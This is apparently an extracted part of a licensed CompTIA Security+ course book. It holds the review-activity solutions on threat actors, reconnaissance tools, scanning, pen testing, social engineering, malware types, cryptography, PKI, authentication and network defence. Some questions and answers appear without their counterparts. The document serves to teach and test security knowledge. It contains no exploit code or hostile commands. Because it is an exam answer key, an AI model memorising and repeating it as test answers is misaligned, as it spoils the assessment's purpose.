LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-14 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-15
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-16 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-17
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-18 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-19
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-20 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-21
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-22 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-23
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-24 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-25
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-26 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-27
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-28 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-29
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-30 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-31
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
A-32 | Appendix A
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Appendix A | A-33
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions
Review Activity: Information Security Roles
Answer the following questions:
2. What term is used to describe the property of a secure network where a sender cannot deny having
sent a message?
Non-repudiation.
3. A multinational company manages a large amount of valuable intellectual property (IP) data, plus
personal data for its customers and account holders. What type of business unit can be used to
manage such important and complex security requirements?
4. A business is expanding rapidly and the owner is worried about tensions between its established IT
and programming divisions. What type of security business unit or function could help to resolve
these issues?
Development and operations (DevOps) is a cultural shift within an organization to encourage much more
collaboration between developers and system administrators. DevSecOps embeds the security function within
these teams as well.
1. You have implemented a secure web gateway that blocks access to a social networking site. How
would you categorize this type of security control?
2. A company has installed motion-activated floodlighting on the grounds around its premises. What
class and function is this security control?
It would be classed as a physical control and its function is both detecting and deterring.
3. A firewall appliance intercepts a packet that violates policy. It automatically updates its Access
Control List to block all further packets from the source IP. What TWO functions is the security
control performing?
4. If a security control is described as operational and compensating, what can you determine about
its nature and function?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-2 | Solutions
That the control is enforced by a a person rather than a technical system, and that the control has been
developed to replicate the functionality of a primary control, as required by a security standard.
5. If a company wants to ensure it is following best practice in choosing security controls, what type of
resource would provide guidance?
1. Which of the following would be assessed by likelihood and impact: vulnerability, threat, or risk?
Risk. To assess likelihood and impact, you must identify both the vulnerability and the threat posed by a potential
exploit.
2. True or false? Nation state actors primarily only pose a risk to other states.
False—nation state actors have targeted commercial interests for theft, espionage, and extortion.
3. You receive an email with a screenshot showing a command prompt at one of your application
servers. The email suggests you engage the hacker for a day's consultancy to patch the vulnerability.
How should you categorize this threat?
This is either gray hat (semi-authorized) hacking or black hat (non-authorized) hacking. If the request for
compensation via consultancy is an extortion threat (if refused, the hacker sells the exploit on the dark web),
then the motivation is purely financial gain and can be categorized as black hat. If the consultancy is refused and
the hacker takes no further action, it can be classed as gray hat.
4. Which type of threat actor is primarily motivated by the desire for social change?
Hacktivist.
5. Which three types of threat actor are most likely to have high levels of funding?
6. You are assisting with writing an attack surface assessment report for a small company. Following
the CompTIA syllabus, which two potential attack vectors have been omitted from the following
headings in the report? Direct access, Email, Remote and wireless, Web and social media, Cloud.
1. You are consulting on threat intelligence solutions for a supplier of electronic voting machines.
What type of threat intelligence source would produce the most relevant information at the lowest
cost?
For critical infrastructure providers, threat data sharing via an Information Sharing and Analysis Center (ISAC) is
likely to be the best option.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-3
2. Your CEO wants to know if the company's threat intelligence platform makes effective use of OSINT.
What is OSINT?
Open-source intelligence (OSINT) is cybersecurity-relevant information harvested from public websites and data
records. In terms of threat intelligence specifically, it refers to research and data feeds that are made publicly
available.
3. You are assessing whether to join AIS. What is AIS and what protocol should your SIEM support in
order to connect to AIS servers?
Automated Indicator Sharing (AIS) is a service offered by the Department of Homeland Security (DHS) for
participating in threat intelligence sharing. AIS uses the Trusted Automated eXchange of Indicator Information
(TAXII) protocol as a means of transmitting CTI data between servers and clients.
1. You suspect that a rogue host is acting as the default gateway for a subnet in a spoofing attack.
What command-line tool(s) can you use from a Windows client PC in the same subnet to check the
interface properties of the default gateway?
Use ipconfig to check the IP addresses of the default gateway and the DHCP server. Use arp to check the MAC
addresses associated with those IP addresses and investigate possible spoofing. You could also use the route
command to verify the properties of the default route.
2. You suspect the rogue host is modifying traffic before forwarding it, with the side effect of
increasing network latency. Which tool could you use to measure latency on traffic routed from this
subnet?
From a Windows host, the pathping tool can be used to measure latency along a route.
3. What type of tool could you use to fingerprint the host acting as the default gateway?
This requires a tool that performs fingerprinting—service and version detection—by examining responses to
network probes and comparing them to known responses from common platforms. Nmap is very widely used
for this task, or you could use hping or Netcat.
4. You are investigating a Linux server that is the source of suspicious network traffic. At a terminal on
the server, which tool could you use to check which process is using a given TCP port?
5. What is a zone transfer and which reconnaissance tools can be used to test whether a server will
allow one?
A zone transfer is where a domain name server (DNS) allows a client to request all the name records for a
domain. nslookup (Windows) and dig (principally Linux) can be used to test whether this query is allowed. You
could also mention the dnsenum tool, which will check for zone transfers along with other enumeration tests on
DNS infrastructure.
Nessus is an automated network vulnerability scanner that checks for software vulnerabilities and missing
patches.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-4 | Solutions
7. You are developing new detection rules for a network security scanner. Which tool will be of use in
testing whether the rules match a malicious traffic sample successfully?
The tcpreplay tool can be used to stream captured traffic from a file to a monitored network interface.
8. What security posture assessment could a pen tester make using Netcat?
Whether it is possible to open a network connection to a remote host over a given port.
1. You are recommending that a business owner invest in patch management controls for PCs and
laptops. What is the main risk from weak patch management procedures on such devices?
Vulnerabilities in the OS and applications software such as web browsers and document readers or in PC and
adapter firmware can allow threat actors to run malware and gain a foothold on the network.
2. You are advising a business owner on security for a PC running Windows XP. The PC runs process
management software that the owner cannot run on Windows 10. What are the risks arising from
this, and how can they be mitigated?
Windows XP is a legacy platform that is no longer receiving security updates. This means that patch management
cannot be used to reduce risks from software vulnerabilities. The workstation should be isolated from other
systems to reduce the risk of compromise.
3. As a security solutions provider, you are compiling a checklist for your customers to assess
potential weak configuration vulnerabilities, based on the CompTIA Security+ syllabus. From
the headings you have added so far, which is missing and what vulnerability does it relate to?
Default settings, Unsecured root accounts, Open ports and services, Unsecure protocols, Weak
encryption, Errors.
Open permissions refers to misconfigured access rights for data folders, network file shares, and cloud storage.
4. You are advising a customer on backup and disaster recovery solutions. The customer is confused
between data breaches and data loss and whether the backup solution will protect against both.
What explanation can you give?
Backup solutions mitigate risks from data loss, where files or information is deleted, corrupted, or otherwise
destroyed. Backup does not mitigate risks from data breach, where confidential or private data is stolen
(exfiltrated) and made public or sold for criminal profit. Mitigating risks of data breach requires effective secure
processing, authorization, and authentication security controls.
5. A system integrator is offering a turnkey solution for customer contact data storage and
engagement analytics using several cloud services. Does this solution present any supply chain risks
beyond those of the system integrator's consulting company?
Yes, the system integrator is proposing the use of multiple vendors (the cloud service providers), with potentially
complex issues for collecting, storing, and sharing customer personal data across these vendors. Each company
in the supply chain should be assessed for risk and compliance with cybersecurity and privacy standards.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-5
1. You have received an urgent threat advisory and need to configure a network vulnerability scan
to check for the presence of a related CVE on your network. What configuration check should you
make in the vulnerability scanning software before running the scan?
Verify that the vulnerability feed/plug-in/test has been updated with the specific CVE that you need to test for.
2. You have configured a network vulnerability scanner for an engineering company. When running
a scan, multiple sensors within an embedded systems network became unresponsive, causing a
production shutdown. What alternative method of vulnerability scanning should be used for the
embedded systems network?
A fully non-intrusive solution should be adopted, such as sniffing traffic using a network tap or mirror port. Using
the network traffic to detect vulnerabilities rather than actively probing each device will not cause system stability
issues (though there is greater risk of false positive and false negative results).
3. A vulnerability scan reports that a CVE associated with CentOS Linux is present on a host, but you
have established that the host is not running CentOS. What type of scanning error event is this?
False positive.
4. A small company that you provide security consulting support to has resisted investing in an event
management and threat intelligence platform. The CEO has become concerned about an APT risk
known to target supply chains within the company's industry sector and wants you to scan their
systems for any sign that they have been targeted already. What are the additional challenges of
meeting this request, given the lack of investment?
Collecting network traffic and log data from multiple sources and then analyzing it manually will require many
hours of analyst time. The use of threat feeds and intelligence fusion to automate parts of this analysis effort
would enable a much swifter response.
5. What term relates to assessment techniques that avoid alerting threat actors?
This can be referred to as maneuver.
1. A website owner wants to evaluate whether the site security mitigates risks from criminal
syndicates, assuming no risk of insider threat. What type of penetration testing engagement will
most closely simulate this adversary capability and resources?
A threat actor has no privileged information about the website configuration or security controls. This is
simulated in a black box (or blind) pen test engagement.
2. You are agreeing a proposal to run a series of team-based exercises to test security controls under
different scenarios. You propose using purple team testing, but the contracting company is only familiar
with the concept of red and blue teams. What is the advantage of running a purple team exercise?
In a red versus blue team, there is no contact between the teams, and no opportunity to collaborate on
improving security controls. In a purple team exercise, there is regular contact and knowledge sharing between
the teams throughout the progression of the exercise.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-6 | Solutions
3. Why should an Internet service provider (ISP) be informed before pen testing on a hosted website
takes place?
ISPs monitor their networks for suspicious traffic and may block the test attempts. The pen test may also involve
equipment owned and operated by the ISP.
Open-source intelligence is a reconnaissance activity to gather information about the target from any public
source. The basic tool is web searches/queries plus sites that scan/scrape/monitor vulnerabilities in Internet-
facing services and devices. There are also specialist OSINT tools, such as theHarvester, that aggregate data from
queries for different resources.
Persistence refers to the tester's ability to reconnect to the compromised host and use it as a remote access tool
(RAT) or backdoor.
1. The help desk takes a call and the caller states that she cannot connect to the e-commerce website
to check her order status. She would also like a user name and password. The user gives a valid
customer company name but is not listed as a contact in the customer database. The user does not
know the correct company code or customer ID. Is this likely to be a social engineering attempt, or
is it a false alarm?
This is likely to be a social engineering attempt. The help desk should not give out any information or add an
account without confirming the caller's identity.
2. A purchasing manager is browsing a list of products on a vendor's website when a window opens
claiming that anti-malware software has detected several thousand files on his computer that are
infected with viruses. Instructions in the official-looking window indicate the user should click a link
to install software that will remove these infections. What type of social engineering attempt is this,
or is it a false alarm?
This is a social engineering attempt utilizing a watering hole attack and/or malvertising.
3. Your CEO calls to request market research data immediately be forwarded to her personal email
address. You recognize her voice, but a proper request form has not been filled out and use of third-
party email is prohibited. She states that normally she would fill out the form and should not be
an exception, but she urgently needs the data to prepare for a round table at a conference she is
attending. What type of social engineering techniques could this use, or is it a false alarm?
If social engineering, this is spear phishing (the attack uses specific detail) over a voice channel (vishing). It is
possible that it uses deep fake technology for voice mimicry. The use of a sophisticated attack for a relatively low-
value data asset seems unlikely, however. A fairly safe approach would be to contact the CEO back on a known
mobile number.
4. Your company manages marketing data and private information for many high-profile clients. You are
hosting an open day for prospective employees. With the possibility of social engineering attacks in
mind, what precautions should employees take when the guests are being shown around the office?
Employees should specifically be wary of shoulder surfing attempts to observe passwords and the like.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-7
1. You are troubleshooting a user's workstation. At the computer, an app window displays on the
screen claiming that all of your files are encrypted. The app window demands that you make an
anonymous payment if you ever want to recover your data. What type of malware has infected the
computer?
This is some type of ransomware, but it will take more investigation whether it is actually crypto-malware or not.
2. You are recommending different anti-virus products to the CEO of small travel services firm. The
CEO is confused, because they had heard that Trojans represent the biggest threat to computer
security these days. What explanation can you give?
While antivirus (A-V) remains a popular marketing description, all current security products worthy of
consideration will try to provide protection against a full range of malware and potentially unwanted program
(PUP) threats.
3. You are writing a security awareness blog for company CEOs subscribed to your threat platform.
Why are backdoors and Trojans different ways of classifying and identifying malware risks?
A Trojan means a malicious program masquerading as something else; a backdoor is a covert means of accessing
a host or network. A Trojan need not necessarily operate a backdoor and a backdoor can be established by
exploits other than using Trojans. The term remote access Trojan (RAT) is used for the specific combination of
Trojan and backdoor.
4. You are investigating a business email compromise (BEC) incident. The email account of a developer
has been accessed remotely over webmail. Investigating the developer's workstation finds no
indication of a malicious process, but you do locate an unknown USB extension device attached
to one of the rear ports. Is this the most likely attack vector, and what type of malware would it
implement?
It is likely that the USB device implements a hardware-based keylogger. This would not necessarily require any
malware to be installed or leave any trace in the file system.
5. A user's computer is performing extremely slowly. Upon investigating, you find that a process
named n0tepad.exe is utilizing the CPU at rates of 80-90%. This is accompanied by continual small
disk reads and writes to a temporary folder. Should you suspect malware infection and is any
particular class of indicated?
Yes, this is malware as the process name is trying to masquerade as a legitimate process. It is not possible to
conclusively determine the type without more investigation, but you might initially suspect a crypto-miner/
crypto-jacker.
Cuckoo is a security product designed to analyze malware as it runs in an isolated sandbox environment.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-8 | Solutions
1. Which part of a simple cryptographic system must be kept secret—the cipher, the ciphertext, or the
key?
In cryptography, the security of the message is guaranteed by the security of the key. The system does not
depend on hiding the algorithm or the message (security by obscurity).
2. Considering that cryptographic hashing is one-way and the digest cannot be reversed, what makes
hashing a useful security technique?
Because two parties can hash the same data and compare checksums to see if they match, hashing can be used
for data verification in a variety of situations, including password authentication. Hashes of passwords, rather
than the password plaintext, can be stored securely or exchanged for authentication. A hash of a file or a hash
code in an electronic message can be verified by both parties.
3. Which security property is assured by symmetric encryption?
Confidentiality—symmetric ciphers are generally fast and well suited to bulk encrypting large amounts of data.
4. What are the properties of a public/private key pair?
Each key can reverse the cryptographic operation performed by its pair but cannot reverse an operation
performed by itself. The private key must be kept secret by the owner, but the public key is designed to be widely
distributed. The private key cannot be determined from the public key, given a sufficient key size.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-9
1. True or false? Cryptography is about keeping things secret so they cannot be used as the basis of a
non-repudiation system.
False—the usages are not exclusive. There are different types of cryptography and some can be used for non-
repudiation. The principle is that if an encryption method (cipher and key) is known only to one person, that
person cannot then deny having composed a message. This depends on the algorithm design allowing recipients
to decrypt the message but not encrypt it.
A complex system might have to support many inputs from devices installed to potentially unsecure locations.
Such a system is resilient if compromise of a small part of the system is prevented from allowing compromise
of the whole system. Cryptography assists this goal by ensuring the authentication and integrity of messages
delivered over the control system.
3. For which types of system will a cipher suite that exhibits high latency be problematic?
High latency is not desirable in any system really, but it will affect real time protocols that exchange voice or
video most. In network communications, latency makes the initial protocol handshake longer, meaning delay for
users and possible application timeout issues.
Entropy is a measure of how disordered something is. A disordered ciphertext is desirable, because remaining
features of order from the plaintext make the ciphertext vulnerable to analysis. Identical plaintexts need to be
initialized with random or counter values when encrypted by the same key, and the cryptosystem needs a source
of randomness to generate strong keys.
5. Your company creates software that requires a database of stored encrypted passwords. What security
control could you use to make the password database more resistant to brute force attacks?
Using a key stretching password storage library, such as PBKDF2, improves resistance to brute-force cracking
methods. You might also mention that you could use policies to make users choose longer, non-trivial
passwords.
1. Which cryptographic technology is most useful for sharing medical records with an analytics
company?
Homomorphic encryption allows calculations to be performed while preserving privacy and confidentiality by
keeping the data encrypted.
2. You are assisting a customer with implementing data loss prevention (DLP) software. Of the two
products left in consideration, one supports steganalysis of image data, but the other does not.
What is the risk of omitting this capability?
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-10 | Solutions
A threat actor could conceal information within an image file and use that to bypass the DLP system. One thing to
note is that attackers could find other ways to implement covertexts (audio or video, for instance) or abuse protocol
coding. There are many things that steganalysis needs to be able to scan for! You might also note that steganography
is not only a data exfiltration risk. It can also be used to smuggle malicious code into a host system.
In most cases, the subject generates a key pair then adds the public key along with subject information and
certificate type in a certificate signing request (CSR) and submits it to the CA. If the CA accepts the request, it
generates a certificate with the appropriate key usage and validity, signs it, and transmits it to the subject.
The subject's public key and the algorithms used for encryption and hashing. The certificate also stores a digital
signature from the issuing CA, establishing the chain of trust.
That the application processing the certificate must be able to interpret the extension correctly. Otherwise, it
should reject the certificate.
5. You are developing a secure web application. What sort of certificate should you request to show
that you are the publisher of a program?
A code signing certificate. Certificates are issued for specific purposes. A certificate issued for one purpose
should not be reused for other functions.
6. What extension field is used with a web server certificate to support the identification of the server
by multiple specific subdomain labels?
The subject alternative name (SAN) field. A wildcard certificate will match any subdomain label.
1. What are the potential consequences if a company loses control of a private key?
It puts both data confidentiality and identification and authentication systems at risk. Depending on the key
usage, the key may be used to decrypt data with authorization. The key could also be used to impersonate a user
or computer account.
2. You are advising a customer about encryption for data backup security and the key escrow services
that you offer. How should you explain the risks of key escrow and potential mitigations?
Escrow refers to archiving the key used to encrypt the customer's backups with your company as a third party.
The risk is that an insider attack from your company may be able to decrypt the data backups. This risk can be
mitigated by requiring M-of-N access to the escrow keys, reducing the risk of a rogue administrator.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-11
Either a published Certificate Revocation List (CRL) or an Online Certificate Status Protocol (OCSP) responder.
HTTP Public Key Pinning (HPKP) ensures that when a client inspects the certificate presented by a server or a
code-signed application, it is inspecting the proper certificate by submitting one or more public keys to an HTTP
browser via an HTTP header.
5. What type of certificate format can be used if you want to transfer your private key and certificate
from one Windows host computer to another?
openssl req -nodes -new -newkey rsa:2048 -out my.csr -keyout mykey.pem
This generates a new RSA key pair plus a certificate signing request.
Authorization means granting the account that has been configured for the user on the computer system the
right to make use of a resource. Authorization manages the privileges granted on the resource. Authentication
protects the validity of the user account by testing that the person accessing that account is who she/he says
she/he is.
Perform checks to confirm the user's identity, issue authentication credentials securely, assign appropriate
permissions/privileges to the account, and ensure accounting mechanisms to audit the user's activity.
3. True or false? An account requiring a password, PIN, and smart card is an example of three-factor
authentication.
You can query the location service running on a device or geolocation by IP. You could use location with the
network, based on switch port, wireless network name, virtual LAN (VLAN), or IP subnet.
1. Why might a PIN be a particularly weak type of something you know authentication?
A long personal identification number (PIN) is difficult for users to remember, but a short PIN is easy to crack. A
PIN can only be used safely where the number of sequential authentication attempts can be strictly limited.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-12 | Solutions
PAP is a legacy protocol that cannot be considered secure because it transmits plaintext ASCII passwords and
has no cryptographic protection. The only way to ensure the security of PAP is to ensure that the endpoints
established a secure tunnel (using IPSec, for instance).
3. True or false? In order to create a service ticket, Kerberos passes the user's password to the target
application server for authentication.
False—only the KDC verifies the user credential. The Ticket Granting Service (TGS) sends the user's account
details (SID) to the target application for authorization (allocation of permissions), not authentication.
4. A user maintains a list of commonly used passwords in a file located deep within the computer's
directory structure. Is this secure password management?
No. This is security by obscurity. The file could probably be easily discovered using search tools.
The length of the password. If the password does not have any complexity (if it is just two dictionary words, for
instance), it may still be vulnerable to a dictionary-based attack. A long password may still be vulnerable if the
output space is small or if the mechanism used to hash the password is faulty (LM hashes being one example).
1. True or false? When implementing smart card logon, the user's private key is stored on the smart card.
True. The smart card implements a cryptoprocessor for secure generation and storage of key and certificate
material.
2. You are providing consultancy to a firm to help them implement smart card authentication to
premises networks and cloud services. What are the main advantages of using an HSM over server-
based key and certificate management services?
A hardware security module (HSM) is optimized for this role and so present a smaller attack surface. It
is designed to be tamper-evident to mitigate against insider threat risks. It is also likely to have a better
implementation of a random number generator, improving the security properties of key material.
Local logon providers, such as Kerberos, support smart cards, but this is not network access control as the
device has already been allowed on the network. The IEEE 802.1X framework means that network access servers
(switches, access points, and VPN gateways) can accept Extensible Authentication Protocols (EAP) credentials,
but block any other type of network access. They act as pass-thru for an authentication server, which stores and
validates the credentials. Some EAP types support smart card or machine authentication.
A device or server that accepts user connections, often referred to as a network access server (NAS) or as the
authenticator. Using RADIUS architecture, the client does not need to be able to perform authentication itself; it
performs pass-thru to an AAA server.
5. What is EAPoL?
A network access server that support 802.1X port-based access control can enable a port but allow only the transfer
of Extensible Authentication Protocol over LAN (EAPoL) traffic. This allows the supplicant and authentication server to
perform the authentication process, with the network access server acting as a pass-thru.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-13
A one-time password mechanism generates a token that is valid only for a short period (usually 60 seconds),
before it changes again.
1. Apart from cost, what would you consider to be the major considerations for evaluating a biometric
recognition technology?
Error rates (false acceptance and false rejection), throughput, and whether users will accept the technology or
reject it as too intrusive or threatening to privacy.
As a capacitive cell.
4. What two ways can biometric technologies be used other than for logon authentication?
1. You are consulting with a company about a new approach to authenticating users. You suggest
there could be cost savings and better support for multifactor authentication (MFA) if your
employees create accounts with a cloud provider. That allows the company's staff to focus on
authorizations and privilege management. What type of service is the cloud vendor performing?
2. What is the process of ensuring accounts are only created for valid users, only assigned the
appropriate privileges, and that the account credentials are known only to the valid user?
Onboarding.
3. What is the policy that states users should be allocated the minimum sufficient permissions?
Least privilege.
4. What is a SOP?
A standard operating procedure (SOP) is a step-by-step listing of the actions that must be completed for any
given task.
5. What type of organizational policies ensure that at least two people have oversight of a critical
business process?
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-14 | Solutions
6. Recently, attackers were able to compromise the account of a user whose employment had been
terminated a week earlier. They used this account to access a network share and delete important
files. What account vulnerability enabled this attack?
While it's possible that lax password requirements and incorrect privileges may have contributed to the account
compromise, the most glaring problem is that the terminated employee's account wasn't disabled. Since the
account was no longer being used, it should not have been left active for a malicious user to exploit.
Interactive logon refers to starting a shell. Service accounts do not require this type of access. Default superuser
accounts, such as Administrator and root, may also be disabled, or limited to use in system recovery or repair.
8. What type of files most need to be audited to perform third-party credential management?
SSH and API keys are often unsecurely embedded in computer code or uploaded mistakenly to repositories
alongside code. Also, managing shared credentials can be difficult, and many sites resort to storing them in a
shared spreadsheet.
1. What container would you use if you want to apply a different security policy to a subset of objects
within the same domain?
2. Why might forcing users to change their password every month be counterproductive?
More users would forget their password, try to select unsecure ones, or write them down/record them in a non-
secure way (like a sticky note).
3. What is the name of the policy that prevents users from choosing old passwords again?
An IP address can represent a logical location (subnet) on a private network. Most types of public IP address can
be linked to a geographical location, based on information published by the registrant that manages that block of
IP address space.
A user's actions are logged on the system. Each user is associated with a unique computer account. As long as
the user's authentication is secure and the logging system is tamper-proof, they cannot deny having performed
the action.
Usage events must be recorded in a log. Choosing which events to log will be guided by an audit policy.
An account enters a locked state because of a policy violation, such as an incorrect password being entered
incorrectly. Lockout is usually applied for a limited duration. An account is usually disabled manually, using the
account properties. A disabled account can only be re-enabled manually.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-15
1. What are the advantages of a decentralized, discretionary access control policy over a mandatory
access control policy?
It is easier for users to adjust the policy to fit changing business needs. Centralized policies can easily become
inflexible and bureaucratic.
2. What is the difference between security group- and role-based permissions management?
A group is simply a container for several user objects. Any organizing principle can be applied. In a role-based
access control system, groups are tightly defined according to job functions. Also, a user should (logically) only
possess the permissions of one role at a time.
3. In a rule-based access control model, can a subject negotiate with the data owner for access
privileges? Why or why not?
This sort of negotiation would not be permitted under rule-based access control; it is a feature of discretionary
access control.
To store information about network resources and users in a format that can be accessed and updated using
standard queries.
5. True or false? The following string is an example of a distinguished name: CN=ad, DC=classroom,
DC=com
True.
6. You are working on a cloud application that allows users to log on with social media accounts over
the web and from a mobile application. Which protocols would you consider and which would you
choose as most suitable?
Security Association Markup Language (SAML) and Oauth + OpenID Connect (OIDC). OAuth with OIDC as an
authentication layer offers better support for native mobile apps so is probably the best choice.
1. Your company has been the victim of several successful phishing attempts over the past year.
Attackers managed to steal credentials from these attacks and used them to compromise key
systems. What vulnerability contributed to the success of these social engineers, and why?
A lack of proper user training directly contributes to the success of social engineering attempts. Attackers can
easily trick users when those users are unfamiliar with the characteristics and ramifications of such deception.
Employees have different levels of technical knowledge and different work priorities. This means that a "one size
fits all" approach to security training is impractical.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-16 | Solutions
3. You are planning a security awareness program for a manufacturer. Is a pamphlet likely to be
sufficient in terms of resources?
Using a diversity of training techniques will boost engagement and retention. Practical tasks, such as phishing
simulations, will give attendees more direct experience. Workshops or computer-based training will make it
easier to assess whether the training has been completed.
1. A recent security evaluation concluded that your company's network design is too consolidated.
Hosts with wildly different functions and purposes are grouped together on the same logical area of
the network. In the past, this has enabled attackers to easily compromise large swaths of network
hosts. What technique(s) do you suggest will improve the security of the network's design, and why?
In general, you should start implementing some form of network segmentation to put hosts with the same
security requirements within segregated zones. For example, the workstations in each business department can
be grouped in their own subnets to prevent a compromise of one subnet from spreading to another. Likewise,
with VLANs, you can more easily manage the logical segmentation of the network without disrupting the physical
infrastructure (i.e., devices and cabling).
2. You are discussing a redesign of network architecture with a client, and they want to know what the
difference between an extranet and Internet is. How can you explain it?
The Internet is an external zone where none of the hosts accessing your services can be assumed trusted
or authenticated. An extranet is a zone allowing controlled access to semi-trusted hosts, implying some sort
of authentication. The hosts are semi-trusted because they are not under the administrative control of the
organization (as they are owned by suppliers, customers, business partners, contractors, and so on).
Subnet traffic is routed, allowing it to be filtered by devices such as a firewall. An attacker must be able to gather more
information about the configuration of the network and overcome more barriers to launch successful attacks.
By using two firewalls (external and internal) around a screened subnet, or by using a triple-homed firewall (one
with three network interfaces).
5. What type of network requires the design to account for east-west traffic?
This is typical of a data center or server farm, where a single external request causes multiple cascading requests
between servers within the data center. This is a problem for a perimeter security model, as funneling this traffic
up to a firewall and then back to a server creates a performance bottleneck.
1. Why might an ARP poisoning tool be of use to a threat actor performing network reconnaissance?
The attacker could trick computers into sending traffic through the attacker's computer (performing a MitM/on-
path attack) and, therefore, examine traffic that would not normally be accessible to him (on a switched network).
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-17
2. How could you prevent a malicious attacker from engineering a switching loop from a host
connected to a standard switch port?
Enable the appropriate guards (portfast and BPDU Guard) on access ports.
Dynamic ARP inspection—though this relies upon DHCP snooping being enabled.
Some network access control (NAC) solutions perform host health checks via a local agent, running on the host. A
dissolvable agent is one that is executed in the host's memory and CPU but not installed to a local disk.
1. True or false? Band selection has a critical impact on all aspects of the security of a wireless network?
False—band selection can affect availability and performance but does not have an impact in terms of either
confidentiality or integrity.
2. The network manager is recommending the use of "thin" access points to implement the wireless
network. What additional appliance or software is required and what security advantages should
this have?
You need a wireless controller to configure and manage the access points. This makes each access point more
tamper-proof as there is no local administration interface. Configuration errors should also be easier to identify.
This is a type of group authentication used when the infrastructure for authenticating securely (via RADIUS, for
instance) is not available. The system depends on the strength of the passphrase used for the key.
No, an enterprise network will use RADIUS authentication. WPS uses PSK and there are weaknesses in the protocol.
5. You want to deploy a wireless network where only clients with domain-issued digital certificates can
join the network. What type of authentication mechanism is suitable?
EAP-TLS is the best choice because it requires that both server and client be installed with valid certificates.
6. John is given a laptop for official use and is on a business trip. When he arrives at his hotel, he turns
on his laptop and finds a wireless access point with the name of the hotel, which he connects to for
sending official communications. He may become a victim of which wireless threat?
Evil twin.
Most attacks depend on overwhelming the victim. This typically requires a large number of hosts, or bots.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-18 | Solutions
Where the attacker spoofs the victim's IP in requests to several reflecting servers (often DNS or NTP servers).
The attacker crafts the request so that the reflecting servers respond to the victim's IP with a large message,
overwhelming the victim's bandwidth.
The algorithm and metrics that determine which node a load balancer picks to handle a request.
4. What mechanism provides the most reliable means of associating a client with a particular server
node when using load balancing?
Persistence is a layer 7 mechanism that works by injecting a session cookie. This is generally more reliable than
the layer 4 source IP affinity mechanism.
5. True or false? A virtual IP is a means by which two appliances can be put in a fault tolerant
configuration to respond to requests for the same IP address?
True.
1. True or False? As they protect data at the highest layer of the protocol stack, application-based
firewalls have no basic packet filtering functionality.
False. All firewall types can perform basic packet filtering (by IP address, protocol type, port number, and so on).
2. What distinguishes host-based personal software firewall from a network firewall appliance?
A personal firewall software can block processes from accessing a network connection as well as applying
filtering rules. A personal firewall protects the local host only, while a network firewall filters traffic for all hosts
on the segment behind the firewall.
3. True or false? When deploying a non-transparent proxy, you must configure clients with the proxy
address and port.
True.
5. True or false? Static NAT means mapping a single public/external IP address to a single private/
internal IP address.
True.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-19
1. What is the best option for monitoring traffic passing from host-to-host on the same switch?
